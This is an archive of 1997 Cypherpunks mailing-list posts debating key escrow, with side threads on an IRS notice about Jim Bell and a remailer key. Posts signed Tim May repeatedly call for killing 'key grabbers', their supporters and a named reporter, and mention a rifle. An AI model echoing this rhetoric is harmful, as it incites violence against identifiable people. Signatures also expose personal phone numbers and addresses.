> locus of this discussion is. We are seeing serious cross-pollution of the
> Cypherpunks list by crap from others lists.]
> 
> At 2:27 PM -0700 7/18/97, Carl Ellison wrote:
> >-----BEGIN PGP SIGNED MESSAGE-----
> >
> >I'm really surprised to see this entire discussion resurface, especially
> >without any apparent memory of the past 5 years that have hashed this topic
> >over.
> >
> 
> It hasn't resurfaced from anyone clued in to the real issues. Just some
> reporters seeking "compromise." Fuck them.
> 
> Anyone who tries to grab my keys needs killing.
> 
> I have no more patience for "well-meaning" fools. We need anonymous
> contract murders to get rid of this kind of scum, as force is the only
> language they seem to understand.
> 
> --Tim May
> 
> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Sat, 19 Jul 1997 10:29:36 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Keepers of the keys
In-Reply-To: <3.0.1.32.19970718133642.00b6ee70@dnai.com>
Message-ID: <3.0.3.32.19970718214858.00927e50@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 03:25 PM 7/18/97 -0700, Steve Schear wrote:
>At 1:36 PM -0700 7/18/97, Lizard wrote:>Frankly, I find it mildly
>>amusing no one has asked the Congressional defenders of key escrow, point
>>blank, "What safeguards do you have against keys falling into the hands of
>>the next Ames?" Who watches the watchmen?
>
>Why not go one step further and get the strong crypto supporters in the
>Senate to tack on an ammendment to the McCain-Kerrey-bill forcing the FBI
>and our most secret security agencies to use the very same
>government/industry escrow entitites (but not any of the intelligence
>organizations themselves) for all their encrypted data storage and
>communications traffic and requiring regular GOA compliance reviews.

If you want to diddle with GAK provisions to make them just a little
more palatable (honey to make the pill go down?), I prefer my old one
from 1993 (and 4 and 5 and 6 ...).

Have the key split 12 ways, by XOR, so you need all 12, all have to 
agree the desire is justified and all can do whatever they want
with the information that the key request came in and was or was
not satisfied (by them):

1)	ACLU
2)	NRA
3)	Republican Nat'l Committee
4)	Democratic Nat'l Committee
5)	N Y Times
6)	Washington Post
7)	Christian Coalition
8)	Libertarian Party
9)	FBI
10)	NSA
11)	Speaker of the House of Representatives
12)	U S Supreme Court

Deliver requests by US Postal Service.

Have each session key released individually
(by having the sender split the session key 12 ways and
encrypt each piece under the public key of a different
agency listed above).

All requests include the name of the target and the
reason for the suspicion.  Since all the above can be
trusted, there will be no compromise of law enforcement
objectives.

 - Carl




-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM9AdCVQXJENzYr45AQGVPgP+LULZPUSQB+xOm8nv5RfNCnAPy3XgK4vR
rSxTuVw2kS/xVSb/gKNNfA5E4Eb+B/2H9zylfOe8Sz3ki5kWoP0xJvXhNIikNFb4
+fTJFClfWbONYag01kLQRjYiXvcVN+T6oH4s8490R2rgTpRebSG5opPMLaBTSpI8
R292Uw4719c=
=4+Ph
-----END PGP SIGNATURE-----


+------------------------------------------------------------------+
|Carl M. Ellison  cme@cybercash.com   http://www.clark.net/pub/cme |
|CyberCash, Inc.                      http://www.cybercash.com/    |
|207 Grindall Street   PGP 2.6.2: 61E2DE7FCB9D7984E9C8048BA63221A2 |
|Baltimore MD 21230-4103  T:(410) 727-4288  F:(410)727-4293        |
+------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 19 Jul 1997 13:14:49 +0800
To: Joe Shea <joeshea@netcom.com>
Subject: Re: Keepers of the keys
In-Reply-To: <v0310280caff5e51517f8@[207.167.93.63]>
Message-ID: <v0310280daff5f6e045ef@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:15 PM -0700 7/18/97, Joe Shea wrote:
>	And if Tim May does kill me, I hope someone has his key, or better
>yet, can go make a showing to a judge and get it from him.  Then he won't
>kill again.  I think this is the whole point of key escrow -- to make sure
>people like the one Tim represents himself to be are people you can find
>in the maze of the Internet.  Unfortunately -- well, not really -- I don't
>think Tim is a trained killer who's going to search me out.  There are
>plenty of them, though, and they are moving vast sums of stolen money and
>nuclear weapon parts and stolen information all over the globe.  I see no
>reason why we should be defenseless against them. At the same time, I

Why should we be "defenseless against them"?

Why should we be "defenseless" against those who plot crimes behind locked
doors, with curtains drawn? Why not simply enter at will?

And why be "defenseless" against those who speak in whispers, or those who
speak in languages the State and Defense Departments have no translators
for? Imprison the Navajo code talkers for speaking in an unapproved
language.

And why should the State be defenseless against those like Winston Smith
who keep illegal, unescrowed diaries? They might be plotting to move
nuclear weapons.

>don't think the keys should be in the hands of federal law enforcement
>agencies who have demonstrably screwed up big-time on an anwful lot of
>occasions.  Judges -- people like the Ninth Circuit Court of Appeals --
>would look rather askance at requests for someone's key when it was no
>more aggravating an issue than a piece of flame mail.  On the other hand,
>if someone's going to blow up San Francisco this week, it sure would help
>to have a key to any encrypted communications he was generating.  Of course,
>a lot of people would like to see it blow up, and maybe Tim is one of
>those, too.
>
>Best,


Fuck you with all your "best" bullshit. You are the enemy.

My keys are my keys, period. If any Ninth Circuit stooge wants them, he'll
have to deal with my (illegal by their bullshit laws) AR-15.

You, of course, are quite welcome to voluntarily "escrow" your crypto keys,
your house keys, your car keys, and the codes to your diary with the local
or circuit judge of your choice. Just don't volunteer _my_ keys.

Got it?

Vermin like you are what is wrong with this country, and the reasons the
militias are gaining strength every day. A fucking house-cleaning is in
order.

--TCM

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tomw@netscape.com (Tom Weinstein)
Date: Sat, 19 Jul 1997 13:10:19 +0800
To: amp@pobox.com
Subject: Re: Verisign gets export approval
In-Reply-To: <Pine.3.89.9707171711.A10551-0100000@netcom2>
Message-ID: <33D04A75.31E08282@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



amp@pobox.com wrote:
> 
>> There's nothing preventing another CA from getting permission from
>> the USG to issue these magic certs.  We would have to distribute a
>> patch, but I don't see any problem with that.
> 
> uh, why does one need permission of the usg to issue "magic certs"?

Because issuing these certs is defined as a "defense service".

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 19 Jul 1997 13:21:22 +0800
To: Steve Schear <cypherpunks@toad.com
Subject: Re: Keepers of the keys
In-Reply-To: <3.0.1.32.19970718133642.00b6ee70@dnai.com>
Message-ID: <v0310280eaff5fbaf6760@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:25 PM -0700 7/18/97, Steve Schear wrote:
>At 1:36 PM -0700 7/18/97, Lizard wrote:>Frankly, I find it mildly
>>amusing no one has asked the Congressional defenders of key escrow, point
>>blank, "What safeguards do you have against keys falling into the hands of
>>the next Ames?" Who watches the watchmen?
>
>Why not go one step further and get the strong crypto supporters in the
>Senate to tack on an ammendment to the McCain-Kerrey-bill forcing the FBI
>and our most secret security agencies to use the very same
>government/industry escrow entitites (but not any of the intelligence
>organizations themselves) for all their encrypted data storage and
>communications traffic and requiring regular GOA compliance reviews.

Beware this line of reasoning.

The fundamental reason why I will not turn over my keys, my diaries, my
tapes, my writings to some third party has nothing to do with this sort of
issue.

I really don't care if the Feds escrow their keys with the Pope...my keys
will *not* be given to anyone other than whom I choose to give them to.
Period.

All of this brainstorming about who might be the best choice to hold
"escrowed" keys, a la the reporter stooge Shea, or about requiring the Feds
to use the same escrow system, misses this basic point. And plays into
their hands.

Kill the key grabbers and all those who support them. Isn't it exactly what
Patrick Henry, Thomas Jefferson, and the others would have argued?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@dnai.com>
Date: Sat, 19 Jul 1997 13:39:12 +0800
To: Tim May <cypherpunks@toad.com
Subject: Re: Keepers of the keys
Message-ID: <3.0.32.19970718221924.00aea760@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:10 PM 7/18/97 -0700, Tim May wrote:
>All of this brainstorming about who might be the best choice to hold
>"escrowed" keys, a la the reporter stooge Shea, or about requiring the Feds
>to use the same escrow system, misses this basic point. And plays into
>their hands.
>
>Kill the key grabbers and all those who support them. Isn't it exactly what
>Patrick Henry, Thomas Jefferson, and the others would have argued?
>
Sure. And that is, of course, the bottom line. But even if I was a rabid
national security freak, I'd *still* oppose key escrow, because it makes
the nation *less* secure. It's a loser on both liberty *and* security
grounds, and, since the liberty issue has already been conceded, the
(political) battleground is security. The "key escrow exposes us to spies"
meme has the capability to graft into the same mental reception points that
the "key escrow will save us from terrorists" meme is currently attached
to, much as 'blocker' viruses can prevent other viruses from infecting cells. 

If I were heading the NSA/CIA/FBI/etc, I'd be putting my budget into
getting ringers onto every BBS, every IRC channel, every 'warez' group,
every mailing list, everywhere, not wasting time on 'key escrow' when the
people I'd be most interested in tracking would never ever in a million
years turn their key over to the government. I'd be infiltrating,
subjerting, and getting keys the old fashined way -- by tricking people
into giving them to me. A key can be a gigabit in length and still be
cracked just by watching what someone types in to decode a message, and the
technology to do *that* is decades old, as are, sadly, the wiretap laws to
permit it. The "legitimate needs of law enforcement" are already far too
well served by existing holes shot in the Constitution -- there is no need
to make more, and doing so will defeat the putative aims of the hawks, as well.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sat, 19 Jul 1997 14:59:35 +0800
To: Alan <cypherpunks@Algebra.COM
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Pine.GSO.3.96.970718155454.22939J-100000@linda.teleport.com>
Message-ID: <v03007821aff614460e33@[207.94.249.49]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:56 PM -0700 7/18/97, Alan wrote:
>I recieved this today via e-mail.  I find it strange since I have never
>asked to be put on any sort of "interest list" by anyone at the IRS.  (And
>my Cypherpunks mail shows up at a different address.
>
>Did anyone else get this?
>
>alano@teleport.com | "Those who are without history are doomed to retype it."
>
>---------- Forwarded message ----------
>Return-Path: irsnwpr@net.insp.irs.gov
>Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov
>[204.151.245.2]) by desiree.teleport.com (8.8.5/8.7.3) with SMTP id
>PAA28119; Fri, 18 Jul 1997 15:49:41 -0700 (PDT)
>Received: by tcs_gateway1.treas.gov id AA19658
>  (InterLock SMTP Gateway 3.0); Fri, 18 Jul 1997 18:47:00 -0400
>Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
>  Fri, 18 Jul 1997 18:47:00 -0400
>Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
>  Fri, 18 Jul 1997 18:47:00 -0400
>Date: Thu, 17 Jul 1997 12:29:08 -0400
>From: IRS Inspection <irsnwpr@net.insp.irs.gov>
>Message-Id: <199707171629.MAA02733@net.insp.irs.gov>
>To: Interested-Parties@net.insp.irs.gov
>Subject: Something of Interest

I got a copy as well.  My headers were:

Return-Path: <irsnwpr@net.insp.irs.gov>
Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov [204.151.245.2])
	by mail6.netcom.com (8.8.5-r-beta/8.8.5/(NETCOM v1.01)) with SMTP
id QAA11850
	for <frantz@netcom.com>; Fri, 18 Jul 1997 16:10:18 -0700 (PDT)
Received: by tcs_gateway1.treas.gov id
  (InterLock SMTP Gateway 3.0 for frantz@netcom.com);
  Fri, 18 Jul 1997 19:10:08 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
  Fri, 18 Jul 1997 19:10:08 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
  Fri, 18 Jul 1997 19:10:08 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-0);
  Fri, 18 Jul 1997 19:10:08 -0400
Date: Thu, 17 Jul 1997 12:30:03 -0400
From: IRS Inspection <irsnwpr@net.insp.irs.gov>
Message-Id: <199707171630.MAA02739@net.insp.irs.gov>
To: Interested-Parties@net.insp.irs.gov
Subject: Something of Interest
X-UIDL: 49a4fae189334b3747644ffa79a10878


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 19 Jul 1997 13:59:27 +0800
To: Alan <alan@ctrl-alt-del.com>
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Pine.LNX.3.95.970718201810.14227A-100000@www.ctrl-alt-del.com>
Message-ID: <Pine.GSO.3.95.970719015013.17780A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Hey, I'm here. Didn't get one of these IRS msgs at any of my accounts.

Is it just me, or does anyone else remember a similar message being pumped
out about the same time Bell was raided (April 1).

-Declan


On Fri, 18 Jul 1997, Alan wrote:

> 
> On Fri, 18 Jul 1997, Tim May wrote:
> 
> > 
> > At 3:56 PM -0700 7/18/97, Alan wrote:
> > >I recieved this today via e-mail.  I find it strange since I have never
> > >asked to be put on any sort of "interest list" by anyone at the IRS.  (And
> > >my Cypherpunks mail shows up at a different address.
> > 
> > What makes you think the "interest" is your interest in them?
> > 
> > It's _their_ interest in _you_.
> 
> Yes.  It looks like every e-mail address on Jim Bell's computer got this
> nice little "warning/example".
> 
> Has there ever been a case where seized e-mail addresses have been used to
> spam those listed with the results of the case?
> 
> Where is Declan when you need him. ]:>
> 
> > Yes, I got _two_ copies of this message. I'm waiting to confirm it was
> > really sent by a sender at the IRS, namely, " IRS Inspection
> > <irsnwpr@net.insp.irs.gov>", before taking action.
> 
> If it is a forgery, it is a *very* good forgery.  The addresses in the
> header are registered to the US government.  The headers do not look like
> the standard sendmail spoof.  It looks pretty damn legit to me.  (I have a
> freind who also recieved this that has his copy of sendmail to keep pretty
> impresive logs as to sender's identity.  It does not look like a spoof,
> unless they hacked behind the IRS firewall.)
> 
> 
> alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
> Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 19 Jul 1997 14:03:02 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Keepers of the keys
In-Reply-To: <v0310280aaff5e21c6521@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970719015225.17780B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



FYI, Joe Shea filed one of the lawsuits against the CDA, Shea v. Reno, on
his own. He refused the join the ACLU's lawsuit against the act, calling
them pro-porn or somesuch. He's calmed down a bit since then,I think. His
lawsuit was put on hold by the SupCt while Reno v. ACLU was decided,then
the lower court's decision was summarily affirmed. Ironically, Shea was
represented by the same law firm that lost the Pacifica case.

I have a PCWorld article I wrote about Shea's suit a year+ ago at:
   http://www.eff.org/pub/Publications/Declan_McCullagh/

-Declan


On Fri, 18 Jul 1997, Tim May wrote:

> [fight-censorship@vorlon.mit.edu removed, as we are getting incredible
> amounts of cross-pollution from lame posters who don't understand even the
> basics of liberty. Disgusting.]
> 
> 
> At 1:52 PM -0700 7/18/97, Colin Rafferty wrote:
> >Joe Shea (via Declan McCullagh) writes:
> >
> >> 	Declan, what would you think if the actual keepers of the keys,
> >> so to speak, were the courts, such as the Administratoive Office of the
> >> US Courts?  That would at least seem to reduce a lot of the possible
> >> privacy concerns.  One has the sense that once they get into the hands of
> >> the varius agencies, they'll get back out.
> >
> >Why do I feel like we are going around and around in circles?
> >
> >How about we give copies of our house-keys to the courts?  We should
> >also send them our old backup tapes, just in case they need them, too.
> 
> I obviously agree with Colin on this. My communications, writings, and
> diaries are *mine*.
> 
> I have no idea who this "Joe Shea" is, but he seems ignorant of basic
> concepts of life in a free society. Suggesting "better" holders of keys is
> beside the point.
> 
> Anyone who tries to grab my keys should be killed.
> 
> --Tim May
> 
> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Mon, 21 Jul 1997 15:26:20 +0800
To: cypherpunks@toad.com
Subject: New Mixmaster Key
Message-ID: <199707190106.CAA05232@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----




This is a new public key (reflecting a change in passphrase).
I have changed the passphrase because I showed it to someone
while testing beta versions of Mix 204 (not very bright of me
to use the same phrase in a production version of course).

The old key still works until I phase it out in a little while.

The remailer name is now all lower case (and the long name
is less juvenile).


Here is the public key for mccain anonymous remailer:

=-=-=-=-=-=-=-=-=-=-=-=
mccain mccain@notatla.demon.co.uk ce919b441a1b82524d3284c49f34a77d 2.0.4b2 MC

- -----Begin Mix Key-----
ce919b441a1b82524d3284c49f34a77d
258
AATPQhiB8EQPG8u1OYqnCzf3H51bjpB1F0SpJoNI
QNTAgqzjxZYteO6tXJQ9x0dJSEfLiAqdHpxn8IAS
W7Bb9PNISWpOclgWS9jXB0/37VX83zPJgM/Wv6lK
ICu1HJUSysIlQGH2sCaarvQr6fqCo9Pqks443hDJ
sV+P6BlI24HFvwAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAQAB
- -----End Mix Key-----


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAgUBM9ASxErZ5ZQH9XIxAQFpbgP/fbc3au03jAsdc/Qe/raRDxol5iQaVJ7D
8ifbHMyTX0S0RiLpv7rnGQ0B+g6MzXndByoSOmwbacWfHx07WjECr4fQTqyYxQnh
A9Q1sJGXqvFaqUkYyB9FdKH6v4QeHT+Z1xeUbiAM1f8PP5eUu6XuUsoNFKTw6ZDY
WxaQFGGg/bA=
=Xab6
-----END PGP SIGNATURE-----

--
###############################################################
# Antonomasia   ant@notatla.demon.co.uk                       #
# See http://www.notatla.demon.co.uk/                         #
###############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 19 Jul 1997 16:21:39 +0800
To: cypherpunks@toad.com
Subject: Two Birds With One Stone / Re: Keepers of the keys
Message-ID: <199707190808.CAA16800@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Joe Shea wrote:
>         And if Tim May does kill me, I hope someone has his key, or better
> yet, can go make a showing to a judge and get it from him.

  It is much more likely that a federal agent, using Tim's escrowed key
to read his opinion of you, would whack you out and set Tim up for the
crime, thereby eliminating two troublesome birds with one stone.

> There are
> plenty of them, though, and they are moving vast sums of stolen money and
> nuclear weapon parts and stolen information all over the globe.  I see no
> reason why we should be defenseless against them.

  We are defenseless against them because they are working for the same
fucking governments that you want to give your crypto keys to.
  Key escrow is meant for fucking the little guy in the ass, not the
major players.

> On the other hand,
> if someone's going to blow up San Francisco this week, it sure would help
> to have a key to any encrypted communications he was generating.

  Yeah, sure. I use an escrowed key to communicate about all of my
criminal activities, and I send the FBI a cc: on all of them.
  It sure would help if LEA's all had access to the American Reporter's
files so that they could censor any writing that might encite someone to
blow up San Franciso.
  Why don't you send them all of your writing for approval, Joe? If all
the people in favor of key escrow would allow the government total
access
to all of their communications, then the drop in crime would more than
make up for that commited by those who use encryption.

  If you can't afford to buy a clue, Joe, then try renting.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dave@bureau42.ml.org>
Date: Sat, 19 Jul 1997 11:22:04 +0800
To: Alan <alano@teleport.com>
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Pine.GSO.3.96.970718155454.22939J-100000@linda.teleport.com>
Message-ID: <Pine.LNX.3.96.970719030212.12918G-100000@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



> I recieved this today via e-mail.  I find it strange since I have never
> asked to be put on any sort of "interest list" by anyone at the IRS.  (And
> my Cypherpunks mail shows up at a different address.
> 
> Did anyone else get this?

I did.  I may have been declared an `interested party' because I host
a copy of Bell's AP essays.  I certainly never asked to be put on
their list :)  (Also, it came to me via an older address, one which I
was about to close; if _this_ kind of weirdness keeps showing up,
I may have to keep it a while longer.

dave





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jeremy Mineweaser" <jeremym@r32h211.res.gatech.edu>
Date: Sat, 19 Jul 1997 16:04:30 +0800
To: cypherpunks@toad.com
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Alan's message of "Fri, 18 Jul 1997 15:56:42 -0700 (PDT)">
Message-ID: <3.0.3.32.19970719035021.00c4d7f0@r32h211.res.gatech.edu>
MIME-Version: 1.0
Content-Type: text/plain




>Alan  <alano@teleport.com> writes:
>
>> I recieved this today via e-mail.  I find it strange since I have 
>> never asked to be put on any sort of "interest list" by anyone
>> at the IRS.  Did anyone else get this?

I received a copy of this earlier today via a low-traffic mailing list
devoted to discussion of prisoner's dilemma games.  Upon receiving
the message, the connection between PDG and Jim Bell wasn't 
immediately obvious, but then I remembered that Jim Bell was
also a subscriber to that mailing list.

It's quite probable that the IRS sent a copy of their press release
to all of the forums where they had records of Bell's involvement.

Did others receive this message directly, or via mailing lists?

.jlm


---
Jeremy Mineweaser <jlm@null.net>

Life results from the non-random survival of randomly varying
replicators. -- Richard Dawkins 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Sat, 19 Jul 1997 16:21:16 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Pine.GSO.3.96.970718155454.22939J-100000@linda.teleport.com>
Message-ID: <3.0.2.32.19970719040748.006e9174@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>The charges stem from an investigation initiated in October, 1996 by IRS
>Internal Security Inspectors into reports that BELL was gathering the names
>and home addresses of IRS employees. In previous court hearings, IRS
>Inspectors testified that BELL had obtained the names and home addresses of
             ^^^^^^^^

Anybody know what hearings this is referring to - and when they took place? 
If memory serves me correctly, I seem to recall that Bell had waived speedy
trial rights in lieu of negotiations.  Hence, it seems strange that pre-trial
hearings occurred.



-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBM9B1tz5A4+Z4Wnt9AQFnVwQAjPOA5JdFCSQFesh8qLSG5RTDQhSKTWOH
Ggb8iFJS9KutaYOShs7n/zdjf5HvLkYIqn6n+bzGh+lPROcfFn95TwXQ0StS1oH/
Z+9e9ZOEPog5h0sUjT2kr75TZza4xA3LtPTgGOyuCmWBLUCj3njp3yxJoFk/+GK2
skmtIxLQYj4=
=c2LT
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jay holovacs <holovacs@idt.net>
Date: Sat, 19 Jul 1997 19:20:09 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: RE: Keepers of the keys
Message-ID: <199707191109.HAA12154@u2.farm.idt.net>
MIME-Version: 1.0
Content-Type: text/plain



Aside from the privacy principle arguments, there is the very same logistics problem, securely keeping hundreds of millions of keys, fully up to date (many people and operations change keys every day or week) sufficiently secure as to be tamper-ptoof yet sufficently accessible to  retrieve in 2-3 hrs as required by LEAs. They can't even keep much smaller amounts of INS info without major screw-ups.

Interestingly, there is a special federal court which authorizes wire taps on foreign 'national security' targets.  No request has ever been turned down.

The only way to keep keys secure in the long run is to let the owners be responsible for their own security.

******************************************************
Jay Holovacs   holovacs@idt.net   PGP

Annoy Big Brother -- use PGP

". . . one of the most difficult problems confronting law enforcement 
as the next century approaches" FBI Director Freeh
******************

==========================
   >From:    	Declan McCullagh <declan@well.com>
    >From: Joe Shea <joeshea@netcom.com>
   >To: Declan McCullagh <declan@well.com>
   >Cc: fight-censorship-announce@vorlon.mit.edu
   >Subject: Re: FC: Brookings Inst. on crypto: "There are reasonable compromises"
   >
   >	Declan, what would you think if the actual keepers of the keys, 
   >so to speak, were the courts, such as the Administratoive Office of the 
   >US Courts?  That would at least seem to reduce a lot of the possible
   >privacy concerns.  One has the sense that once they get into the hands of 
   >the varius agencies, they'll get back out.
   >





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 19 Jul 1997 22:41:29 +0800
To: cypherpunks@toad.com
Subject: Re: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups
In-Reply-To: <Pine.GSO.3.95.970718191915.29745E-100000@well.com>
Message-ID: <19970719072518.07383@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Jul 18, 1997 at 07:19:31PM -0700, Declan McCullagh wrote:
[...]
> This goes back to the original debate: pragmatism vs. principle. How do
> you stand on principle and remain an effective advocate in Washington? If
> you navigate the route of pragmatism and compromise, what does that mean
> for civil liberties? Can you avoid compromising them away?

A quote you may find interesting:

"The debate between compromise and principle is a false debate, 
because principle doesn't speak, it acts.  People don't compromise 
their principles -- they simply mis-identify them."

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 19 Jul 1997 22:58:31 +0800
To: cypherpunks@toad.com
Subject: Re: Keepers of the keys
In-Reply-To: <3.0.1.32.19970718133642.00b6ee70@dnai.com>
Message-ID: <19970719074314.59778@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Jul 18, 1997 at 10:10:37PM -0700, Tim May wrote:
[usual rant deleted]
> 
> Kill the key grabbers and all those who support them. Isn't it exactly what
> Patrick Henry, Thomas Jefferson, and the others would have argued?

Amazing.  Patriotism -- the last refuge of the scoundrel.

However, Patric Henry said something like "Give me liberty or give me
death." That is really very different from "Kill everyone who opposes
me and all their supporters." Tim doesn't seem to understand this
nuance. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 19 Jul 1997 20:13:44 +0800
To: "Lynne L. Harrison" <lharrison@mhv.net>
Subject: Re: Something of Interest (fwd)
In-Reply-To: <3.0.2.32.19970719040748.006e9174@pop.mhv.net>
Message-ID: <Pine.GSO.3.95.970719080410.20705A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Perhaps when the government was arguing before the Fed. magistrate that
Bell should be held without bail? Or, more likely, when the IRS was trying
to get the search then arrest warrant...

-Declan


On Sat, 19 Jul 1997, Lynne L. Harrison wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> >The charges stem from an investigation initiated in October, 1996 by IRS
> >Internal Security Inspectors into reports that BELL was gathering the names
> >and home addresses of IRS employees. In previous court hearings, IRS
> >Inspectors testified that BELL had obtained the names and home addresses of
>              ^^^^^^^^
> 
> Anybody know what hearings this is referring to - and when they took place? 
> If memory serves me correctly, I seem to recall that Bell had waived speedy
> trial rights in lieu of negotiations.  Hence, it seems strange that pre-trial
> hearings occurred.
> 
> 
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 4.5
> 
